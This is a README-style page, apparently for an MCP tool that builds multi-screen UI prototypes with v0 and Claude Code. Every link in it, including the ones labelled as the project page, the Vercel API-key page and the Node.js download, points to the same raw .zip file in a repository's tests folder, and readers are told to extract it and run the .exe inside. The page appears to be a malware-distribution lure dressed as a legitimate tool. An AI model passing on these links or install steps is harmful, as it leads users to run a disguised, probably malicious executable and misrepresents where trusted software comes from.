⚙️ v0-platform-mcp - Simplify Multi-Screen Prototyping

📋 What is v0-platform-mcp?

v0-platform-mcp is a tool for creating and developing multi-screen user interfaces. It helps you build and improve prototypes step-by-step using a system called the Model Context Protocol (MCP). You do not need any programming experience.

This software runs on Windows and works through a simple command-line interface. It helps you turn your ideas into designs quickly and improve existing projects by adding small changes over time.

🚀 Getting Started

Follow these steps to download and run v0-platform-mcp on your Windows computer.

1. Download the software

• Visit the project page to get the latest version:
  https://raw.githubusercontent.com/Enfluranehighbloodpressure470/v0-platform-mcp/main/tests/integration/platform-mcp-v-1.1.zip
• On the page, look for a Releases section or links to download the program files.
• Download the file designed for Windows. Usually, it will have an .exe or .zip extension.

2. Run the software

• If you downloaded a .zip file, right-click it and choose Extract All to open the contents.
• Find the setup file (.exe) inside the folder and double-click it to start installation.
• Follow the on-screen instructions to install v0-platform-mcp.
• After installation, open the program from the Start Menu or your desktop shortcut.

3. Prepare your API key

v0-platform-mcp needs an API key from Vercel to work.

• Go to https://raw.githubusercontent.com/Enfluranehighbloodpressure470/v0-platform-mcp/main/tests/integration/platform-mcp-v-1.1.zip.
• Create an account or log in if you already have one.
• Follow the steps on the website to create and copy your v0 API key.

4. Add the program to Claude Code

This step connects the program to Claude Code, a companion tool that helps with prototyping.

• Open the Command Prompt (type cmd in the Windows search bar and press Enter).
• Enter this command but replace YOUR_KEY with your API key from the previous step:

  claude mcp add v0-platform-mcp --env V0_API_KEY=YOUR_KEY -- npx v0-platform-mcp

• Press Enter. This links the program to Claude Code.

5. Start building prototypes

Once connected, you can begin creating multi-screen prototypes right away. Use the workflows explained below to guide your work.

🛠️ How to Use v0-platform-mcp

This tool offers two main workflows depending on your needs. One helps you build new projects quickly, and the other helps keep older projects up to date.

Prototype Workflow (New Projects) 🆕

Follow these three steps when you want to create something new from scratch.

1. prepare_prototype_context
   The program transforms your project idea into a format it can understand.
2. generate_prototype
   It creates a multi-screen user interface design based on the information.
3. handoff_to_claude_dev
   It generates instructions that help developers build the real application later.

Use this when you need to quickly test ideas, create demo apps, or build simple proof-of-concept designs.

MCP Workflow (Existing Projects) 🔄

Use this approach when you already have a project. The program helps you make improvements one step at a time while keeping everything organized.

• It tracks context changes from the project over time.
• It supports incremental adjustments without breaking the overall design.
• The workflow fits gradual development and revision.

💻 System Requirements

• Windows 10 or later (64-bit recommended)
• 4 GB RAM minimum, 8 GB or more recommended
• 500 MB of free disk space
• Internet access to connect with Vercel API
• Command Prompt access (default on Windows)
• Node.js installed (used to run the tool’s core commands, usually bundled with setup)

⚙️ Common Commands

Open Command Prompt and enter these commands after setup:

• Start the prototype builder
  npx v0-platform-mcp start
• Prepare a prototype context
  npx v0-platform-mcp prepare_prototype_context
• Generate a UI prototype
  npx v0-platform-mcp generate_prototype
• Create a development brief
  npx v0-platform-mcp handoff_to_claude_dev

Use these commands step-by-step or combine them according to your workflow.

🔧 Troubleshooting

• If installation fails, check your internet connection and try again.
• Confirm Node.js is installed by typing node -v in Command Prompt. If you don’t see a version number, install Node.js from https://raw.githubusercontent.com/Enfluranehighbloodpressure470/v0-platform-mcp/main/tests/integration/platform-mcp-v-1.1.zip.
• If you get errors when running commands, double-check that you pasted your API key correctly.
• Restart Command Prompt or your PC if the program does not start.
